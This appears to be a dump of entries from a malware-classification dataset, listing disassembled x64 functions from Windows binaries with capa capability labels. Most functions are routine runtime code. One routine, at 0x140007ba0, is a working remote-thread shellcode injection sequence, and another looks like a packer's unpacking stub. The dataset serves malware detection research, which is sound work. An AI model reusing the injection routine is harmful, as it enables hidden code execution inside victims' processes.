joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5590b0
Capabilities:
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, qword [sym.imp.libssp_0.dll___stack_chk_guard]
lea r10, [0x0055a4b0]
xor r9d, r9d
lea r8, [0x005a7ba6]
mov rax, qword [rbx]
mov qword [rsp + 0x58], rax
xor eax, eax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rcx, qword [rcx]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
call fcn.004902e0
mov rax, qword [rsp + 0x58]
xor rax, qword [rbx]
jne 0x559126
add rsp, 0x60
pop rbx
ret
call sub.libssp_0.dll___stack_chk_fail
nop
nop dword [rax]

Function at 0x559130
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, qword [0x005aaed0]
mov eax, dword [rax]
test eax, eax
je 0x559148
jmp fcn.004269c0
jmp fcn.00426990

Function at 0x559370
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x70
mov rsi, qword [sym.imp.libssp_0.dll___stack_chk_guard]
mov rax, qword [rsi]
mov qword [rsp + 0x68], rax
xor eax, eax
mov r12, rcx
mov rcx, rdx
mov rbx, rdx
call fcn.00426990
xor r8d, r8d
lea rdx, [rsp + 0x20]
mov rcx, r12
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], 0
call fcn.00426c10
mov rbx, qword [rsp + 0x68]
xor rbx, qword [rsi]
jne 0x5593cc
add rsp, 0x70
pop rbx
pop rsi
pop r12
ret
call sub.libssp_0.dll___stack_chk_fail
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x5593e0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rdi, qword [sym.imp.libssp_0.dll___stack_chk_guard]
mov rax, qword [rdi]
mov qword [rsp + 0x38], rax
xor eax, eax
mov r12, rdx
lea rsi, [rsp + 0x20]
mov r13, rcx
mov rdx, rsi
mov rcx, r12
call fcn.00426e30
jmp 0x55942a
mov rcx, qword [rax + 0x10]
call fcn.004c9260
lea rcx, [rbx + 0x20]
call fcn.004727a0
mov rcx, rsi
call fcn.00426e50
mov rbx, rax
test rax, rax
jne 0x559418
xor edx, edx
mov rcx, r12
call fcn.00426b60
mov rcx, r12
call fcn.004c9260
mov rcx, qword [r13]
call fcn.004c9260
mov rax, qword [rsp + 0x38]
xor rax, qword [rdi]
jne 0x559472
mov rcx, r13
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp fcn.004c9260
call sub.libssp_0.dll___stack_chk_fail
nop
nop dword [rax + rax]

Function at 0x559ee0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rbx
sub rsp, 0x28
mov eax, dword [rcx + 8]
mov r12, rcx
test eax, eax
je 0x559f1b
xor ebx, ebx
nop dword [rax + rax]
mov rax, rbx
add rbx, 1
shl rax, 4
add rax, qword [r12]
mov rax, qword [rax + 8]
mov rcx, qword [rax + 8]
call fcn.004f4270
cmp dword [r12 + 8], ebx
ja 0x559ef8
mov rcx, r12
mov edx, 1
call fcn.00476d60
mov rcx, r12
add rsp, 0x28
pop rbx
pop r12
jmp fcn.004c9260
Function at 0x562d60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rcx, qword [rdx]
mov r12, rdx
mov rdi, r8
mov rdx, qword [rcx]
test rdx, rdx
je 0x562da9
xor ebx, ebx
nop
mov r8, rdi
mov rcx, rsi
call fcn.00562890
mov rax, qword [r12]
mov rcx, qword [rax + rbx]
add rbx, 8
call fcn.0051b160
mov rcx, qword [r12]
mov rdx, qword [rcx + rbx]
test rdx, rdx
jne 0x562d80
call fcn.004c9260
mov rcx, r12
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp fcn.004c9260

Function at 0x563c70
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rdi, qword [sym.imp.libssp_0.dll___stack_chk_guard]
mov rax, qword [rdi]
mov qword [rsp + 0x28], rax
xor eax, eax
mov rbx, rcx
mov rsi, r8
jmp 0x563ca4
add rbx, 1
add rdx, 1
cmp al, cl
jne 0x563cb3
movzx eax, byte [rdx]
movzx ecx, byte [rbx]
test al, al
jne 0x563c98
cmp cl, 0x2e
je 0x563cd0
xor eax, eax
mov rsi, qword [rsp + 0x28]
xor rsi, qword [rdi]
jne 0x563d0e
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rbp, qword [sym.imp.msvcrt.dll__errno]
call rbp
lea rdx, [rsp + 0x20]
lea rcx, [rbx + 1]
mov r8d, 0xa
mov dword [rax], 0
call sub.msvcrt.dll_strtol
mov dword [rsi], eax
call rbp
mov eax, dword [rax]
test eax, eax
jne 0x563cb3
mov rax, qword [rsp + 0x20]
cmp byte [rax], 0
jne 0x563cb3
mov eax, 1
jmp 0x563cb5
call sub.libssp_0.dll___stack_chk_fail
nop
nop word cs:[rax + rax]
nop

Function at 0x563d20
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
test rdx, rdx
je 0x563d34
mov eax, dword [r9]
test eax, eax
je 0x563d40
add rsp, 0x20
pop rbx
ret
mov r9, r8
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rax, 1
je 0x563d34
call qword [sym.imp.msvcrt.dll__errno]
mov eax, dword [rax]
mov dword [rbx], eax
add rsp, 0x20
pop rbx
ret
Function at 0x56a710
Capabilities:
Hash data using djb2

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov r9, qword [rcx]
mov ebp, r8d
and ebp, 0x1e
jne 0x56a778
mov eax, 0x1505
cmp r9, rdx
jb 0x56a752
jmp 0x56a763
mov r10d, eax
add r9, 1
shl r10d, 5
add r10d, eax
movsx eax, r8b
xor eax, r10d
cmp rdx, r9
je 0x56a763
movzx r8d, byte [r9]
cmp r8b, 0xa
jne 0x56a738
cmp r9, rdx
adc r9, 0
mov qword [rcx], r9
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
cmp r9, rdx
jae 0x56a868
mov r12d, r8d
mov r13d, r8d
mov ebx, r8d
movzx r11d, byte [r9]
mov eax, 0x1505
and r12d, 2
and r13d, 4
and ebx, 8
mov rdi, qword [str._________AA__A__________________]
jmp 0x56a7d9
movzx r8d, r11b
test byte [rdi + r8], 1
jne 0x56a820
mov r8d, eax
shl r8d, 5
add eax, r8d
movsx r8d, r11b
xor eax, r8d
cmp rdx, rsi
jbe 0x56a80a
movzx r11d, byte [r9 + 1]
mov r9, r10
cmp r11b, 0xa
je 0x56a800
lea rsi, [r9 + 1]
mov r10, rsi
cmp ebp, 0x10
jne 0x56a7b0
cmp r11b, 0xd
jne 0x56a7bb
cmp rdx, rsi
jbe 0x56a7bb
cmp byte [r9 + 1], 0xa
jne 0x56a7bb
mov r9, rsi
cmp r9, rdx
adc r9, 0
mov r10, r9
mov qword [rcx], r10
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov r10, r9
jmp 0x56a83d
movzx r8d, byte [r10]
cmp r8b, 0xa
je 0x56a860
movzx r14d, r8b
test byte [rdi + r14], 1
je 0x56a872
mov r15, r10
add r10, 1
cmp rdx, r10
ja 0x56a828
jmp 0x56a80a
mov r8d, eax
shl r8d, 5
add eax, r8d
xor eax, 0x20
nop dword [rax + rax]
mov r9, r15
jmp 0x56a7d1
mov r10, r9
mov eax, 0x1505
jmp 0x56a80a
cmp r8b, 0xa
je 0x56a860
test r12d, r12d
jne 0x56a860
test r13d, r13d
jne 0x56a84b
test ebx, ebx
je 0x56a860
cmp r9, r10
jne 0x56a898
jmp 0x56a860
movzx r11d, byte [rsi]
add rsi, 1
mov r8d, eax
shl r8d, 5
add eax, r8d
movsx r8d, r11b
xor eax, r8d
cmp r10, rsi
jne 0x56a890
jmp 0x56a860
Function at 0x56f5d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x005f59e0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x005f59c0]
test rbx, rbx
je 0x56f624
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x56f61b
test r12, r12
je 0x56f61b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x56f600
lea rcx, [0x005f59e0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x56f960
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x005aa7e0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x56f9d9
mov rcx, r10
call fcn.0056f830
test eax, eax
je 0x56f9d9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x56f9d6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x56f9cd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x56f9d9
add r8, 0x28
cmp r8, r9
jne 0x56f9b8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x570100
Capabilities:
Enumerate disk volumes
Get disk information
Get disk size
Get file size

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
mov r13d, ecx
mov rbx, rdx
cmp ecx, 0xffffffff
je 0x5701b6
test rdx, rdx
js 0x5701b6
call sub.msvcrt.dll__get_osfhandle
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x570350
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 1
jne 0x570350
mov ecx, r13d
call sub.msvcrt.dll__telli64
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x5701b6
lea rdx, [rsp + 0x58]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x570350
cmp rbx, qword [rsp + 0x58]
ja 0x570210
xor r9d, r9d
mov qword [rsp + 0x60], rbx
lea r8, [rsp + 0x64]
mov edx, ebx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x5701d0
cmp dword [rsp + 0x60], 0xffffffff
je 0x5701d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x83
je 0x570318
mov ecx, 0x16
call fcn.00570380
mov eax, 0xffffffff
jmp 0x5701f3
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x5701b6
xor r8d, r8d
mov rdx, r15
mov ecx, r13d
call fcn.005706e0
cmp rax, 0xffffffffffffffff
je 0x5701b6
xor eax, eax
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rsp + 0x60]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
je 0x5701b6
mov edx, 2
mov ecx, 0x33
call fcn.004c8f80
mov edx, 2
mov ecx, 0x106
mov r14, rax
call fcn.004c8f80
mov rsi, rax
test r14, r14
je 0x570350
test rax, rax
je 0x570350
mov edx, 0x32
mov rcx, r14
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov rdi, rax
jmp 0x57028a
mov r8d, 0x32
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
je 0x570330
mov dword [rsp + 0x38], 0
mov r9, rbp
mov rdx, rsi
mov r8d, 0x105
mov qword [rsp + 0x30], 0
mov rcx, r14
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov eax, dword [rsp + 0x4c]
cmp dword [rsp + 0x7c], eax
jne 0x570270
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov rcx, rsi
call fcn.004c9260
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rcx, r14
mov esi, eax
call fcn.004c9260
test esi, esi
je 0x570318
mov rax, rbx
sub rax, qword [rsp + 0x58]
cmp rax, qword [rsp + 0x50]
jbe 0x570181
nop word [rax + rax]
mov ecx, 0x1b
call fcn.00570380
mov eax, 0xffffffff
jmp 0x5701f3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov rcx, r14
xor r14d, r14d
call fcn.004c9260
jmp 0x5702d5
mov ecx, 9
call fcn.00570380
mov eax, 0xffffffff
jmp 0x5701f3
Function at 0x1400021d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009740]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400021f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400021f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400021f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000224d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002244
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400021f0
add rax, 0x28
cmp rax, r9
jne 0x140002230
xor eax, eax
ret

Function at 0x140002250
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009740]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000226f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002278
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000226f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002310
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009740]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000232f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002338
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140007ba0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.140001500
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sub.msvcrt.dll_atoi
mov edx, eax
lea rax, str.PID:__i
mov rcx, rax
call fcn.140007b40
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sub.msvcrt.dll_atoi
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 8], rax
mov eax, dword [0x1400081e0]
mov edx, eax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x10], rax
mov eax, dword [0x1400081e0]
mov ecx, eax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, rcx
lea r8, [0x1400080c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x18], rax
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x14000e050
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14000e05d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14000e06d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14000e055
lea eax, [rcx + 1]
jmp 0x14000e07b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14000e08e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14000e074
sub eax, 3
jb 0x14000e0ae
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14000e0fd
sar eax, 1
movsxd rbp, eax
jb 0x14000e0e4
jmp 0x14000e0bc
add ebx, ebx
jne 0x14000e0ba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14000e0e4
inc ecx
add ebx, ebx
jne 0x14000e0ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14000e0e4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14000e0dd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14000e0cc
add ecx, 2
jmp 0x14000e0e9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14000e012
jmp 0x14000e05d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1c00
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14000e149
cmp rsi, rcx
jae 0x14000e151
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14000e130
cmp al, 0x8f
ja 0x14000e130
cmp byte [rsi - 2], 0xf
je 0x14000e136
sub al, 0xe8
cmp al, 1
ja 0x14000e11a
cmp rsi, rcx
jae 0x14000e151
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14000e120
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14000e151
lodsb al, byte [rsi]
jmp 0x14000e130
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xb000]
mov eax, dword [rdi]
or eax, eax
je 0x14000e1ae
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xe000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14000e15e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14000e1a8
mov qword [rbx], rax
add rbx, 8
jmp 0x14000e17e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14000e231], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14000e231
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14000e221
sub rsp, 0xffffffffffffff80
jmp 0x1400014f0
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140013560
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400148b0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400148d0
xor al, al
jmp 0x140014951
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400148e3
xor al, al
jmp 0x140014951
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001490d
xor al, al
jmp 0x140014951
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014921
xor al, al
jmp 0x140014951
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014933
xor al, al
jmp 0x140014951
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001494f
xor al, al
jmp 0x140014951
mov al, 1
add rsp, 0x38
ret
Function at 0x1400135a0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r12d, r12d
cmp r8, 0x201
jae 0x140013630
jmp 0x14001361f
jae 0x1400136f0
cmp r8, 0x201
jae 0x140013630
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140013688
sub r8, r12
sub rbx, r12
cmp rbx, r8
jae 0x14001365f
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.140035af0
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3e8], rax
mov rdi, qword [rbp + 0x3d0]
mov eax, 0xffffffff
cmp rdi, rax
mov r12d, 0xffffffff
cmovb r12, rdi
mov qword [rbp + 0x3d8], r12
mov rbx, rdi
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x1400136b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140013758
mov r8d, r14d
cmp r15, r8
jne 0x140013610
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14001377b
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x14001361f
jmp 0x140013630
cmp rsi, r8
jb 0x140013795
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.140015ae0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rdi, rdi
je 0x140013741
add rdi, rdi
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rdi
call fcn.14000c900
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi], rax
mov byte [rsi + 0x18], 2
test rdi, rdi
jne 0x140013729
jmp 0x140013741
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.140036450
jmp 0x1400137aa
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.1400368a0
ud2
Function at 0x140013900
Capabilities:
Query environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x420], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x60]
call fcn.140026260
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x408], rax
test rax, rax
je 0x140013a86
mov qword [rbp + 0x400], rsi
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x418], rax
mov qword [rbp + 0x3e8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x410], rax
xor edi, edi
xor ebx, ebx
xor r13d, r13d
cmp r8, 0x201
jae 0x1400139c0
jmp 0x1400139af
jae 0x140013a98
cmp r8, 0x201
jae 0x1400139c0
mov r15d, 0x200
lea r14, [rbp - 0x60]
mov r12, r8
jmp 0x140013a18
sub r8, r13
sub rbx, r13
cmp rbx, r8
jae 0x1400139ef
lea rcx, [rbp + 0x3e8]
mov rdx, r13
call fcn.140035af0
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x410], rax
mov rdi, qword [rbp + 0x3f0]
mov eax, 0xffffffff
cmp rdi, rax
mov r13d, 0xffffffff
cmovb r13, rdi
mov qword [rbp + 0x3f8], r13
mov rbx, rdi
mov r15, r13
mov r14, qword [rbp + 0x410]
mov r12, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x408]
mov rdx, r14
mov r8d, r12d
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esi, eax
test eax, eax
jne 0x140013a47
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140013b6b
mov r8d, esi
cmp r12, r8
jne 0x1400139a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140013b95
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x1400139af
jmp 0x1400139c0
lea rcx, [rbp - 0x58]
call fcn.14000db40
mov byte [rsi + 0x18], 2
jmp 0x140013b2a
cmp r15, r8
jb 0x140013baf
lea rcx, [rbp + 0x3a0]
mov rdx, r14
call fcn.140015ae0
movups xmm0, xmmword [rbp + 0x3a0]
movups xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3c0], xmm0
test rdi, rdi
je 0x140013ae9
add rdi, rdi
mov r8d, 2
mov rcx, qword [rbp + 0x410]
mov rdx, rdi
call fcn.14000c900
cmp byte [rbp + 0x3d8], 2
jne 0x140013b41
mov rsi, qword [rbp + 0x400]
mov byte [rsi + 0x18], 2
lea rcx, [rbp + 0x3c0]
call fcn.14000db40
mov rdx, qword [rbp + 0x418]
test rdx, rdx
je 0x140013b2a
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0x408]
call fcn.14000c900
mov rax, rsi
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmm1, xmmword [rbp + 0x3d0]
mov rsi, qword [rbp + 0x400]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x418]
test rdx, rdx
jne 0x140013b15
jmp 0x140013b2a
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3c0], rax
mov byte [rbp + 0x3d8], 2
test rdi, rdi
jne 0x140013ad1
jmp 0x140013ae9
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.140036450
jmp 0x140013bc4
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.1400368a0
ud2